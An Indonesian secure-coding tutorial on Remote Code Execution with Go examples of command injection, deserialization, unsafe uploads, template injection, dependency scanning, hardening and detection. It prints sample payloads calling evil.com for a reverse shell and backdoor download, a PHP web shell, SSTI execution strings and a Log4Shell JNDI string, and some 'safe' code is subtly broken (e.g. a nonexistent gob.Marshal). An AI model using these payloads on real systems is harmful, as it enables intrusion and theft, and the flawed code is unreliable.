Remote Code Execution #
Remote Code Execution (RCE) adalah kategori kerentanan paling serius dalam keamanan aplikasi web. Ketika RCE terjadi, attacker tidak lagi terbatas pada data yang bisa mereka baca atau aksi yang bisa mereka picu — mereka memiliki kemampuan untuk menjalankan kode arbitrer di server. Ini berarti akses penuh ke filesystem, kemampuan membaca dan mengubah database langsung, instalasi backdoor, pembuatan user baru di sistem operasi, dan dalam banyak kasus, pivoting ke sistem internal lain yang tidak bisa diakses dari internet.
Perbedaan antara SQL Injection dan RCE adalah perbedaan antara kehilangan data dan kehilangan seluruh server. SQL Injection bisa mengekspos database; RCE bisa mengekspos server, jaringan internal, dan semua sistem yang bisa diakses dari server tersebut.
Yang membuat RCE berbahaya bukan hanya dampaknya yang ekstrem, tapi juga variasi cara ia bisa terjadi: command injection, eval injection, insecure deserialization, malicious file upload, server-side template injection, vulnerability di dependency — semua bisa berujung ke eksekusi kode yang dikontrol attacker di server.
Cara Kerja RCE: Dari Input ke Eksekusi #
Semua jalur menuju RCE memiliki satu kesamaan: input yang dikontrol attacker entah bagaimana dieksekusi sebagai kode atau perintah oleh sistem. Jalur yang berbeda, mekanisme yang berbeda, tapi prinsip yang sama.
graph LR
A[Input Attacker] --> B{Vektor RCE}
B --> C["Command Injection\ncmdline dari user input"]
B --> D["Eval Injection\neval kode dinamis"]
B --> E["Deserialisasi\nobject berbahaya"]
B --> F["File Upload\nexecutable file"]
B --> G["Template Injection\ntemplate engine"]
B --> H["Dependency CVE\nlibrary vulnerable"]
C --> I[Shell Execution]
D --> I
E --> I
F --> J[File Execution]
G --> I
H --> I
J --> I
I --> K[RCE — Kontrol Penuh Server]Command Injection #
Command injection terjadi ketika aplikasi meneruskan input user ke shell command tanpa sanitasi. Ini adalah salah satu bentuk RCE yang paling langsung dan paling umum.
// ANTI-PATTERN 1: shell=True dengan input user — sangat berbahaya
func pingHostUnsafe(hostname string) string {
// Jika hostname = "google.com; rm -rf /"
// Command menjadi: ping google.com; rm -rf /
out, _ := exec.Command("sh", "-c", fmt.Sprintf("ping -c 4 %s", hostname)).Output()
return string(out)
}
// ANTI-PATTERN 2: os.system dengan input user
func processImageUnsafe(filename string) {
// Jika filename = "image.jpg; curl http://evil.com/backdoor.sh | bash"
exec.Command("sh", "-c", fmt.Sprintf("convert %s output.png", filename)).Run()
}
// BENAR: gunakan list argument, tidak invoke shell
func pingHostSafe(hostname string) (string, error) {
// Validasi hostname terlebih dahulu
if !hostnameRegex.MatchString(hostname) {
return "", errors.New("invalid hostname")
}
// Gunakan list — setiap argumen adalah satu unit terpisah
// Shell tidak diinvoke, tidak ada parsing metacharacter
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
out, err := exec.CommandContext(ctx, "ping", "-c", "4", hostname).Output()
if err != nil {
return "", err
}
return string(out), nil
}
// BENAR untuk image processing: gunakan library, bukan shell command
func processImageSafe(filePath string) error {
// Gunakan library image (mis. golang.org/x/image), bukan shell command
img, err := openImage(filePath)
if err != nil {
return err
}
return saveImageAsJPEG(img, "output.jpg")
}
Metacharacter shell yang digunakan untuk injection:
; → jalankan command berikutnya
&& → jalankan jika command sebelumnya berhasil
|| → jalankan jika command sebelumnya gagal
| → pipe output ke command berikutnya
` → command substitution (backtick)
$() → command substitution
> → redirect output (overwrite file)
>> → redirect output (append file)
< → redirect input
& → run in background
Contoh payload:
hostname = "google.com; cat /etc/passwd"
hostname = "google.com && whoami"
hostname = "google.com | nc evil.com 4444 -e /bin/bash"
hostname = "$(curl http://evil.com/backdoor.sh | bash)"
Eval Injection #
eval() dan fungsi serupa mengeksekusi string sebagai kode. Ketika input user mencapai eval, attacker bisa menjalankan kode arbitrer.
// Go tidak punya eval — bahaya ekuivalennya adalah mengompilasi/mengeksekusi
// kode dinamis atau menginvoke interpreter dengan input user.
// ANTI-PATTERN: menjalankan input user melalui interpreter atau plugin loader
func calculateUnsafe(expression string) any {
// mis. mengeksekusi script melalui embedded interpreter
// result := interpreter.Eval(expression) // eksekusi kode arbitrer!
return nil
}
// Template string yang tidak aman
func renderTemplateUnsafe(template string, userData map[string]any) string {
// Jika template = "{user.__class__.__mro__[1].__subclasses__()}"
// penggantian string naif bisa mengakses state internal
return naiveFormat(template, userData)
}
// BENAR: jangan pernah eksekusi input user.
// Untuk kalkulasi matematika: gunakan safe expression parser (e.g. govaluate)
// atau recursive-descent parser kecil yang hanya menerima angka dan + - * /
func safeEvalMath(expression string) (float64, error) {
p := &mathParser{s: expression}
v, err := p.parseExpr()
if err != nil {
return 0, errors.New("invalid expression")
}
if p.pos != len(p.s) {
return 0, errors.New("invalid expression")
}
return v, nil
}
// safeEvalMath("2 + 3 * 4") → 14
// safeEvalMath("__import__('os')") → error (hanya angka dan operator)
Insecure Deserialization #
Deserialisasi adalah proses mengubah data serial (bytes, JSON, XML) kembali menjadi objek. Ketika library deserialisasi memproses data dari user tanpa validasi, attacker bisa memanipulasi data serialized untuk mengeksekusi kode saat deserialisasi.
// ANTI-PATTERN: deserialize data dari user dengan format binary native
func processData(data []byte) {
// encoding/gob (dan format mirip gob) merekonstruksi objek arbitrer
// dari bytes — dengan data yang dikontrol attacker ini bisa memicu
// behavior yang tidak diharapkan saat decoding
var obj any
if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
return
}
process(obj)
}
// BENAR: gunakan format yang aman dari input user
func parseConfigSafe(jsonString string) (map[string]any, error) {
// JSON tidak bisa mengeksekusi kode saat parsing
// Tapi tetap validasi schema setelah parsing
var data map[string]any
if err := json.Unmarshal([]byte(jsonString), &data); err != nil {
return nil, errors.New("invalid JSON format")
}
// Validasi schema
if err := validateConfigSchema(data); err != nil {
return nil, err
}
return data, nil
}
// Jika harus menggunakan format binary (internal saja, bukan dari user):
// Sign data sebelum simpan, verifikasi signature sebelum load
func safeSerialize(obj any) ([]byte, error) {
data, err := gob.Marshal(obj)
if err != nil {
return nil, err
}
mac := hmac.New(sha256.New, []byte(secretKey))
mac.Write(data)
sig := mac.Sum(nil)
return append(sig, data...), nil
}
func safeDeserialize(signedData []byte) (any, error) {
sig, data := signedData[:32], signedData[32:]
mac := hmac.New(sha256.New, []byte(secretKey))
mac.Write(data)
if !hmac.Equal(sig, mac.Sum(nil)) {
return nil, errors.New("data has been tampered with")
}
var obj any
if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
return nil, err
}
return obj, nil
}
File Upload ke RCE #
File upload yang tidak aman adalah jalur klasik menuju RCE. Attacker mengupload file yang terlihat seperti gambar tapi sebenarnya berisi kode yang bisa dieksekusi.
// ANTI-PATTERN: menyimpan file upload di web root dan langsung serve
func uploadFile(w http.ResponseWriter, r *http.Request) {
file, header, _ := r.FormFile("file")
defer file.Close()
// Simpan langsung di folder yang bisa diakses publik
os.WriteFile("/var/www/html/uploads/"+header.Filename, readAll(file), 0o644)
json.NewEncoder(w).Encode(map[string]string{"url": "/uploads/" + header.Filename})
}
// Attacker upload file bernama "shell.php" dengan konten:
// <?php system($_GET['cmd']); ?>
// Lalu akses: /uploads/shell.php?cmd=whoami
// → Server menjalankan command sebagai web user
// BENAR: file upload yang aman
var uploadDir = "/var/uploads" // DI LUAR web root!
var allowedMimeTypes = map[string]string{
"image/jpeg": ".jpg", "image/png": ".png",
"image/gif": ".gif", "image/webp": ".webp",
}
func uploadFileSafe(w http.ResponseWriter, r *http.Request) {
file, header, err := r.FormFile("file")
if err != nil {
json.NewEncoder(w).Encode(map[string]string{"error": "No file provided"})
w.WriteHeader(400)
return
}
defer file.Close()
// 1. Validasi MIME type dari konten file
buf := make([]byte, 2048)
n, _ := file.Read(buf)
detectedMime := http.DetectContentType(buf[:n])
ext, ok := allowedMimeTypes[detectedMime]
if !ok {
json.NewEncoder(w).Encode(map[string]string{"error": "File type not allowed: " + detectedMime})
w.WriteHeader(400)
return
}
// 2. Generate nama file baru yang aman — jangan gunakan nama dari user
safeFilename := randomHex(16) + ext
// 3. Simpan di luar web root
savePath := filepath.Join(uploadDir, safeFilename)
full, _ := io.ReadAll(file)
os.WriteFile(savePath, full, 0o600)
// 4. Simpan metadata di database (referensi ke file)
dbFile := UploadedFile.Create(map[string]any{
"user_id": currentUser.ID,
"filename": safeFilename,
"original_name": header.Filename[:255],
"mime_type": detectedMime,
"size": len(full),
})
json.NewEncoder(w).Encode(map[string]string{"file_id": dbFile.ID})
w.WriteHeader(201)
}
// 5. Serve file melalui endpoint yang memvalidasi akses
func serveFile(w http.ResponseWriter, r *http.Request, fileID int) {
dbFile := UploadedFile.GetOr404(fileID)
// Validasi akses
if dbFile.UserID != currentUser.ID {
http.Error(w, "Forbidden", 403)
return
}
// Serve file langsung (bukan redirect ke path fisik)
http.ServeFile(w, r, filepath.Join(uploadDir, dbFile.Filename))
}
Kenapa menyimpan di luar web root dan serve via endpoint:
Web root (/var/www/html/uploads/):
→ File bisa diakses langsung via URL
→ Web server mungkin mengeksekusi file berdasarkan extension
→ PHP file → Apache mengeksekusi → RCE
→ .htaccess override → mengubah behavior
Luar web root (/var/uploads/):
→ Tidak bisa diakses langsung via URL
→ Web server tidak tahu file ini ada
→ Hanya aplikasi yang bisa serve file
→ Aplikasi memvalidasi akses sebelum serve
→ Aplikasi menset Content-Type dari database, bukan dari extension
Server-Side Template Injection (SSTI) #
Template injection terjadi ketika input user dimasukkan langsung ke template engine yang kemudian mengeksekusinya. Berbeda dari XSS yang mengeksekusi di browser, SSTI mengeksekusi di server.
// ANTI-PATTERN: template dari user input
func renderTemplateUnsafe(w http.ResponseWriter, r *http.Request) {
templateStr := r.URL.Query().Get("template")
// Jika template = "{{7*7}}" → server menghitung dan mengembalikan "49"
// Ini konfirmasi SSTI vulnerable!
// html/template parsing dari string — dengan input user ini berbahaya
t, _ := template.New("t").Parse(templateStr) // DANGEROUS
t.Execute(w, nil)
}
// BENAR: template dari file, bukan dari user
func renderTemplateSafe(w http.ResponseWriter, r *http.Request) {
// Template ada di filesystem yang dikontrol developer
// User hanya bisa pilih dari template yang sudah ada
templateName := r.URL.Query().Get("template")
if templateName == "" {
templateName = "default"
}
// Whitelist template yang boleh digunakan
allowedTemplates := map[string]bool{"welcome": true, "confirmation": true, "invoice": true}
if !allowedTemplates[templateName] {
templateName = "default"
}
// Render template yang sudah ada (di-parse saat startup dari filesystem)
templates.ExecuteTemplate(w, "emails/"+templateName+".html", currentUser)
}
// Jika user perlu kustomisasi konten (bukan template):
// Berikan placeholder yang spesifik, bukan template engine penuh
func customizeEmail(w http.ResponseWriter, r *http.Request) {
templateName := "confirmation"
// User hanya bisa isi placeholder yang spesifik
userMessage := r.FormValue("message")
// Escape user message sebelum dimasukkan ke template
safeMessage := template.HTMLEscapeString(userMessage)
// renderTemplate(w, "emails/"+templateName+".html",
// map[string]any{"user_message": safeMessage}) // escaped string, bukan template
}
Payload SSTI yang umum untuk deteksi:
Jinja2: {{7*7}} → 49 (konfirmasi vulnerable)
{{config}} → konfigurasi aplikasi
{{''.__class__.__mro__[1].__subclasses__()}} → subclasses
Twig: {{7*7}} → 49
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
FreeMarker: ${7*7} → 49
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
Dependency Vulnerability #
Library pihak ketiga yang mengandung kerentanan bisa menjadi vektor RCE tanpa ada satu baris kode yang ditulis secara tidak aman.
Contoh nyata dependency RCE:
Log4Shell (CVE-2021-44228):
Library logging Java Log4j2 yang dipakai jutaan aplikasi
String "${jndi:ldap://attacker.com/exploit}" di log
→ Library fetch URL eksternal → download dan eksekusi Java class
→ RCE di semua aplikasi yang menggunakan Log4j2 < 2.15.0
Dampak: ribuan server enterprise dikompromikan dalam hari
Spring4Shell (CVE-2022-22965):
Spring Framework dengan JDK 9+
Request tertentu memungkinkan modifikasi ClassLoader
→ Inject JSP webshell ke server
→ RCE tanpa autentikasi
Deserialisasi di commons-collections (CVE-2015-6420):
Apache Commons Collections library
Banyak framework Java menggunakan ini (JBoss, WebLogic, Jenkins)
Gadget chain yang memanfaatkan deserialisasi
→ RCE tanpa autentikasi
# Mitigasi dependency RCE: dependency scanning di CI/CD
# GitHub Actions untuk npm
name: Security Scan
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Node.js
- name: NPM Audit
run: npm audit --audit-level=high
# Gagalkan CI jika ada vulnerability high/critical
# Python
- name: Safety Check
run: |
pip install safety
safety check --full-report -r requirements.txt
# Java
- name: OWASP Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'myapp'
path: '.'
format: 'HTML'
args: --failOnCVSS 7
# Go
- name: GoVulnCheck
run: |
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...
# Konfigurasi otomatis update dependency (GitHub Dependabot)
# .github/dependabot.yml
# version: 2
# updates:
# - package-ecosystem: "pip"
# directory: "/"
# schedule:
# interval: "weekly"
# open-pull-requests-limit: 10
#
# - package-ecosystem: "npm"
# directory: "/"
# schedule:
# interval: "daily" # lebih sering untuk frontend dependency
Defense in Depth: Mitigasi Berlapis #
Tidak ada satu mitigasi yang cukup. Defense in depth memastikan bahwa jika satu lapisan gagal, ada lapisan lain yang membatasi dampak.
Lapisan perlindungan terhadap RCE:
Lapisan 1 — Input validation (mencegah RCE terjadi):
→ Validasi ketat semua input
→ Whitelist approach untuk command dan template
→ Jangan pernah eval input user
Lapisan 2 — Least privilege (membatasi jika RCE terjadi):
→ Aplikasi berjalan sebagai user non-root dengan privilege minimal
→ Filesystem: aplikasi hanya bisa baca/tulis di direktori tertentu
→ Network: aplikasi tidak bisa membuat koneksi keluar yang tidak perlu
→ Proses: tidak bisa fork atau spawn proses baru
Lapisan 3 — Sandboxing/Containerization:
→ Docker container dengan capabilities yang dibatasi
→ seccomp profile untuk membatasi syscall
→ AppArmor atau SELinux untuk MAC (Mandatory Access Control)
Lapisan 4 — Network segmentation:
→ Aplikasi tidak bisa langsung akses database production dari internet
→ Internal service hanya accessible dari internal network
→ Egress filtering: aplikasi tidak bisa curl ke server attacker
Lapisan 5 — Monitoring dan detection:
→ Deteksi eksekusi proses yang tidak biasa
→ Alert jika ada koneksi keluar yang tidak expected
→ File integrity monitoring
# Dockerfile yang menerapkan least privilege
FROM python:3.12-slim
# Buat user non-root
RUN groupadd -r appgroup && useradd -r -g appgroup appuser
# Install dependency sebagai root
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# Copy kode aplikasi
COPY . .
# Set ownership ke appuser
RUN chown -R appuser:appgroup /app
# Jalankan sebagai non-root user
USER appuser
# Hanya expose port yang diperlukan
EXPOSE 8000
# Tidak ada shell — lebih sulit bagi attacker untuk menjalankan command
ENTRYPOINT ["gunicorn", "--bind", "0.0.0.0:8000", "app:create_app()"]
# seccomp profile untuk membatasi syscall yang bisa digunakan container
# Mencegah beberapa teknik post-exploitation
# docker-compose.yml
# services:
# app:
# security_opt:
# - no-new-privileges:true # Mencegah privilege escalation
# cap_drop:
# - ALL # Hapus semua Linux capabilities
# cap_add:
# - NET_BIND_SERVICE # Hanya tambahkan yang diperlukan
# read_only: true # Filesystem read-only
# tmpfs:
# - /tmp # Hanya /tmp yang writable
Mendeteksi Upaya RCE #
Monitoring aktif bisa mendeteksi serangan RCE sebelum attacker berhasil atau segera setelah berhasil.
// Pattern yang menunjukkan upaya RCE dalam log
var rceIndicators = []string{
// Command injection patterns
";", "&&", "||", "|", "`", "$(",
"bash", "sh", "cmd.exe", "powershell",
"/bin/", "/etc/passwd", "/etc/shadow",
"whoami", "id", "uname", "cat /etc",
// SSTI patterns
"{{", "}}", "${", "#{",
"__class__", "__mro__", "__subclasses__",
// Path traversal (bisa berujung RCE)
"../", `..\`, "%2e%2e",
// Encoded null bytes
"%00", "\x00",
}
func detectRCEAttempt(requestData string) bool {
lowerData := strings.ToLower(requestData)
for _, indicator := range rceIndicators {
if strings.Contains(lowerData, strings.ToLower(indicator)) {
return true
}
}
return false
}
// Middleware yang memonitor request
func monitorRequests(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Monitor query parameters
for param, value := range r.URL.Query() {
for _, v := range value {
if detectRCEAttempt(v) {
securityLogger.Warn("Potential RCE attempt detected",
"ip", r.RemoteAddr,
"path", r.URL.Path,
"param", param,
"value", truncate(v, 200), // limit panjang log
"user_id", currentUserID(r),
"user_agent", r.UserAgent(),
)
// Opsional: tambahkan ke watchlist untuk monitoring lebih ketat
}
}
}
next.ServeHTTP(w, r)
})
}
Anti-Pattern yang Harus Dihindari #
// ✗ Anti-pattern 1: shell command dengan user input
exec.Command("sh", "-c", fmt.Sprintf("convert %s output.jpg", userFilename)).Run()
// ✓ Solusi: list arguments + validasi input + gunakan library
// ✗ Anti-pattern 2: mengeksekusi input user sebagai kode
// Go tidak punya eval — bahayanya adalah meneruskan input user ke embedded interpreter
// ✓ Solusi: jangan pernah eksekusi input user — gunakan safe parser jika perlu kalkulasi
// ✗ Anti-pattern 3: gob.Unmarshal dari user input
gob.NewDecoder(bytes.NewReader(requestBody)).Decode(&obj)
// ✓ Solusi: gunakan JSON dari user, sign data binary untuk internal
// ✗ Anti-pattern 4: file upload di web root tanpa validasi MIME
os.WriteFile("/var/www/html/uploads/"+filename, content, 0o644)
// ✓ Solusi: simpan di luar web root, validasi MIME dari konten, generate nama baru
// ✗ Anti-pattern 5: template engine dari user input
template.New("t").Parse(userTemplate) // BERBAHAYA
// ✓ Solusi: template dari file system, user hanya pilih dari whitelist
// ✗ Anti-pattern 6: dependency tidak pernah di-audit
// go.mod tanpa pin version / tidak pernah menjalankan govulncheck
// ✓ Solusi: pin version, scan CVE di CI, enable Dependabot
// ✗ Anti-pattern 7: aplikasi berjalan sebagai root
// USER root di Dockerfile (default jika tidak diset)
// ✓ Solusi: buat dedicated user, jalankan sebagai non-root
// ✗ Anti-pattern 8: file yang diupload bisa diakses langsung via URL
// GET /uploads/shell.php → web server eksekusi PHP
// ✓ Solusi: serve file melalui aplikasi dengan validasi, bukan langsung via web server
Checklist Remote Code Execution Prevention #
COMMAND INJECTION:
□ Tidak ada subprocess.run/os.system dengan shell=True dan user input
□ Semua external command menggunakan list argument
□ Input yang digunakan dalam command divalidasi dengan whitelist ketat
□ Gunakan library Python/language-native daripada shell command
EVAL INJECTION:
□ Tidak ada eval(), exec(), atau new Function() dengan user input
□ Template engine tidak menerima template dari user input
□ Format string yang bisa mengakses objek internal sudah dihindari
□ Kalkulasi matematika menggunakan safe parser, bukan eval
DESERIALISASI:
□ Tidak ada pickle.loads(), unserialize(), atau ObjectInputStream dari user
□ yaml.safe_load() digunakan (bukan yaml.load() tanpa Loader)
□ Deserialisasi internal menggunakan signed data (HMAC)
□ JSON digunakan untuk data exchange dengan user input
FILE UPLOAD:
□ MIME type dideteksi dari konten file, bukan extension/Content-Type header
□ File disimpan di luar web root
□ Nama file di-generate ulang (bukan dari user)
□ File serve melalui endpoint yang validasi akses
□ Web server tidak mengeksekusi file dari direktori upload
TEMPLATE INJECTION:
□ Template dari filesystem, bukan dari user input
□ User hanya bisa pilih dari whitelist template yang ada
□ Konten variabel di-escape sebelum dirender
□ Template engine tidak di-expose ke user sebagai "fitur"
DEPENDENCY:
□ Dependency scanning berjalan di CI/CD (npm audit, safety, dll)
□ Dependabot atau renovate aktif untuk update otomatis
□ CVE yang ditemukan diprioritaskan berdasarkan severity
□ Dependency di-pin ke versi spesifik (bukan latest/*)
LEAST PRIVILEGE & ISOLATION:
□ Aplikasi berjalan sebagai user non-root
□ Container menggunakan read-only filesystem jika memungkinkan
□ Linux capabilities di-drop yang tidak diperlukan
□ Network egress dibatasi untuk traffic yang memang diperlukan
□ seccomp/AppArmor profile dikonfigurasi
MONITORING:
□ Pattern command injection dan SSTI di-monitor dalam request log
□ Proses baru yang tidak expected di-alert
□ File integrity monitoring aktif untuk direktori kritis
□ Outbound connection yang tidak biasa di-alert
Ringkasan #
- RCE adalah kerentanan paling serius — bukan hanya data yang bocor, tapi seluruh server dikontrol attacker. Dari sana bisa pivot ke sistem internal lain.
- Command injection dicegah dengan tidak menggunakan shell — gunakan list argument di subprocess, jangan
shell=Truedengan input user. Gunakan library bahasa pemrograman daripada memanggil external command.- Eval user input adalah mustahil diaman — tidak ada cara membuat eval aman dengan input dari user yang tidak dipercaya. Gunakan safe parser untuk kalkulasi matematika, template dari file untuk rendering.
- Pickle, unserialize, dan ObjectInputStream tidak aman dari user input — format serialisasi native bisa mengeksekusi kode saat deserialisasi. Gunakan JSON untuk data dari user, sign data internal jika harus menggunakan format binary.
- File upload ke RCE membutuhkan dua kondisi — file bisa diupload dan bisa dieksekusi. Putuskan salah satunya: simpan di luar web root (tidak bisa dieksekusi langsung) atau validasi MIME type ketat dan serve via aplikasi.
- Template injection terjadi ketika user mengontrol template — bukan hanya konten variabel. Template harus berasal dari filesystem yang dikontrol developer, bukan dari input user.
- Dependency CVE bisa terjadi tanpa kode yang salah — satu library yang populer yang mengandung kerentanan bisa mengekspos ribuan aplikasi. Dependency scanning di CI adalah wajib.
- Least privilege membatasi dampak jika RCE terjadi — aplikasi yang berjalan sebagai non-root dengan filesystem read-only dan network egress filtering membuat post-exploitation jauh lebih sulit.
- Defense in depth adalah kunci — validasi input, least privilege, containerization, network segmentation, dan monitoring harus bekerja bersama. Satu lapisan yang gagal tidak langsung berarti bencana.
- Monitoring aktif bisa mendeteksi RCE lebih awal — pattern seperti
{{,$(,/etc/passwddalam request parameter adalah indikator serangan yang harus di-alert.